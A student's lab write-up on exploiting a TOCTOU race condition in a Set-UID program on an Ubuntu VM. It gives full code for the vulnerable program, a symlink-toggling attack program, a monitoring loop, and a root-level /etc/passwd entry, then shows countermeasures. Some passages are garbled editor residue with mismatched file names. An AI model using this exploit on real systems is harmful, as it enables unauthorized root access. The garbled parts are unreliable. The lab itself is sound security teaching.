

Matthew Tran

Race Condition Vulnerability Exploitation

Tools Used

- Ubuntu Virtual Machine
- C Compiler (gcc)
- Terminal
- Nano/Vi text editors
- Linux system calls (access(), fopen(), symlink(), unlink())

Skills Learned

- Exploiting a Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability
- Creating and compiling a vulnerable Set-UID program in C
- Using symbolic links to manipulate file access during execution
- Writing and executing attack scripts that toggle symbolic links rapidly
- Modifying system files (like /etc/passwd) through privilege escalation
- Disabling and re-enabling Ubuntu's symlink protection (fs.protected_symlinks)
- Understanding how Set-UID programs work and how they can be abused
- Implementing and testing security countermeasures to prevent race condition exploits

Personalize the system:

```
export PS1='matthew_tran@vm:\w$ '
```

Disabling Symlink Protection:

To allow symlink manipulation during the attack, I temporarily disabled Ubuntu's symlink protection

```
matthew_tran@vm:~$ sudo sysctl -w fs.protected_symlinks=0  
fs.protected_symlinks = 0
```

```
sudo sysctl -w fs.protected_symlinks=0
```

Lab task 1) Creating the Vulnerable Program

I created **vulp.c**, a Set-UID program that checks file permissions using **access()** before opening the file with **fopen()**. This creates a race condition window.

Code:

```
matthew_tran@vm:~$ nano vulp.c
```

nano vulp.c

I'll then paste the code into the file

```
GNU nano 4.8          vulp.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main() {
    char *fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;

    // Get user input
    scanf("%50s", buffer);

    if (!access(fn, W_OK)) { // Access check
        fp = fopen(fn, "a+"); // File opening
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }
}
```

[Read 21 lines]

```
#include <stdio.h>
```

```
#include <unistd.h>
```

```
#include <string.h>
```

```
int main() {
```

```

char *fn = "/tmp/XYZ";

char buffer[60];

FILE *fp;


// Get user input
scanf("%50s", buffer);


if (!access(fn, W_OK)) { // Access check

    fp = fopen(fn, "a+"); // File opening

    fwrite("\n", sizeof(char), 1, fp);

    fwrite(buffer, sizeof(char), strlen(buffer), fp);

    fclose(fp);

} else {

    printf("No permission \n");

}

}

matthew_tran@vm:~$ gcc vulp.c -o vulp
matthew_tran@vm:~$ sudo chown root vulp
matthew_tran@vm:~$ sudo chmod 4755 vulp

```

```

gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp

```

This made vulp a Set-UID program that runs with root privileges, which is essential for the exploit to work.

Task 2) Choosing the Target

I targeted the **/etc/passwd** file to add a root-level user. First, I tested by adding a test entry:

```
echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash"
```

This command creates a new user test with root privileges (user ID 0) and a passwordless login.

```
matthew_tran@vm:~$ su test
Password:
root@VM:/home/seed# exit
exit
```

After confirming the vulnerability, I removed the test line to proceed with the actual attack.

Task 3) Creating and Running the Attack Program

```
matthew_tran@vm:~$ sudo sysctl -w fs.protected_symlinks=0
fs.protected_symlinks = 0
sudo sysctl -w fs.protected_symlinks=0
```

This checks out the directory for the necessary files.

```
matthew_tran@vm:~$ ls
Desktop    Downloads  Pictures   Templates  vulp
Documents  Music      Public     Videos    vulp.c
```

ls

We then want to ensure that the **vi vulp.c** code is correct, compile the vulp.c code with **gcc vulp.c -o vulp**, change the ownership of vulp, **sudo chown root vulp**, and set the UID permissions on vulp to 4755 which enables Set-UID, allowing vulp to execute with root privileges when run by any user (uses the code **sudo chmod 4755 vulp**).

```
vi attack_process.c
```

After opening this code I will then copy and paste the code

```
#include <stdio.h>
```

```
#include <unistd.h>
```

```
int main() {  
    int i = 0;  
    while (1) {  
        unlink("/tmp/XYZ");  
        symlink("/tmp/ABC", "/tmp/XYZ");  
        usleep(1000);  
  
        unlink("/tmp/XYZ");  
        symlink("/etc/passwd", "/tmp/XYZ"); // Link /tmp/XYZ to /etc/passwd  
        usleep(1000);  
  
        i = i + 1;  
        printf("Changed link for %d times.\n", i);  
    }  
    return 0;  
}
```

```

}
CHECK_FILE="ls -l /etc/passwd"
swd file details

old=$(CHECK_FILE)
asswd █

new=$(CHECK_FILE)
n

while [ "$old" == "$new" ]; do
s
    ./vulp < passwd_input
    new=$(CHECK_FILE)
g the program
done

-- INSERT --

```

This code toggles /tmp/XYZ between /tmp/ABC and /etc/passwd in an infinite loop, aiming to catch vulp at the right moment to modify /etc/passwd.

This is another way to edit the attack_process.c use code:

```
nano attack_process.c
```

Compile the program to create an executable named attack_process:

```
gcc attack_process.c -o attack_process
```

Set executable permissions:

```
matthew_tran@vm:~$ sudo chmod u+x target_process.sh
```

```
sudo chmod u+x attack_process
```

Sets executable permissions for the user on attack_process, allowing it to be run as a program.

Part 4) Creating the Target Monitor Script

```
matthew_tran@vm:~$ vi target_process.sh
```

```
matthew_tran@vm:~$ chmod target process.sh
```

```
vi target_process.sh
```

create the target process and enter the given code.

```
#!/bin/bash
```

```
CHECK_FILE="ls -l /etc/passwd"    # Command to check the /etc/passwd file details
old=$(CHECK_FILE)                # Store initial state of /etc/passwd
new=$(CHECK_FILE)                # Store new state for comparison
```

```
while [ "$old" == "$new" ]; do    # Loop until /etc/passwd changes
    ./vulp < passwd_input        # Run the vulnerable program
    new=$(CHECK_FILE)            # Update new state after running the program
done
```

```
echo "STOP... The passwd file has been changed"
```

Command for target_process.sh

```
chmod u+x target_process.sh
```

Adding u+x specifies that the user should have execute permissions.

Task 5) Executing the Attack

Started the attack process in the background:

```
Changed link for 20568 times.  
Changed link for 20569 times.  
Changed link for 20570 times.  
Changed link for 20571 times.  
Changed link for 20572 times.  
Changed link for 20573 times.  
Changed link for 20574 times.  
Changed link for 20575 times.  
Changed link for 20576 times.  
Changed link for 20577 times.  
Changed link for 20578 times.  
Changed link for 20579 times.  
Changed link for 20580 times.  
Changed link for 20581 times.  
Changed link for 20582 times.  
Changed link for 20583 times.  
Changed link for 20584 times.  
Changed link for 20585 times.  
Changed link for 20586 times.  
Changed link for 20587 times.  
Changed link for 20588 times.  
^C
```

```
./attack_process
```

The attack successfully exploited the race condition

Task 6: Implementing Countermeasures

```
matthew tran@vm:~$ sudo vi /etc/passwd  
sudo vi /etc/passwd
```

Edited the Vulp file to set up the system call

```
sudo gcc vulp.c -o vulp
```

The command uses gcc (GNU Compiler Collection) to compile the C source file vulp.c into an executable named vulp.

```
Sudo chown root vulp
```

For the race condition exploit to work, vulp must run with root privileges because it needs to modify protected files, such as /etc/passwd.

```
Sudo chmod 4755 vulp
```


The 4 in 4755 enables Set-UID, allowing the program to execute with the privileges of its owner, which is now root. The remaining 755 gives read, write, and execute permissions to the owner (root), and read and execute permissions to others.

`vi vulp.c`

Went to Vulp.c file to change the UID and temporarily dissable the root privileges.

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main() {
    char *fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;

    scanf("%50s", buffer);

    if(!access(fn, W_OK)) {
        seteuid(1000);
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
        seteuid(0);
    }
    else printf("No permission \n");
}
```

`sudo gcc vulp.c -o vulp`

After modifying vulp.c, it needs to be recompiled to reflect the changes

`sudo chown root vulp`

After recompiling vulp, it may be necessary to reset its owner to root, especially if the compilation altered the program's ownership or permissions

`sudo chmod 4755 vulp`

This command re-enables Set-UID on vulp after recompilation

```

Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission

```

`./victim.sh`

Test the Vulp file in the victim file.

```

if (!access(fn, W_OK)) { // Access check

    fp = fopen(fn, "a+"); // File opening
    fwrite("\n", sizeof(char), 1, fp);
    fwrite(buffer, sizeof(char), strlen(buffer), fp);
    fclose(fp);
} else {
    printf("No permission \n");
}
}

```

`vi vulp.c`

Needed to remove the UID, but could also adjust permissions or modify the code to simulate different vulnerable behavior for testing purposes.

`sudo sysctl -w fs.protected_symlinks=1`

This command re-enables Ubuntu's symlink protection by setting `fs.protected_symlinks` back to 1.

```
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
Vo permission
```

`./victim.sh`

Ran this once more, but the attacker program will fail when trying to attack the victim file due to the protection Ubuntu set up.

```
Changed link for 400 times.
Changed link for 409 times.
Changed link for 410 times.
Changed link for 411 times.
Changed link for 412 times.
Changed link for 413 times.
Changed link for 414 times.
Changed link for 415 times.
Changed link for 416 times.
Changed link for 417 times.
Changed link for 418 times.
Changed link for 419 times.
```

`./attacker.sh`

The goal of the attacker script is to exploit the timing window between the `access()` and `fopen()` calls in `vulp`, tricking it into modifying a sensitive file like `/etc/passwd`.

This lab showed me how race conditions can be exploited through symbolic links to gain unauthorized access. I saw firsthand how a small timing gap between checking and using a file can become a serious security vulnerability.

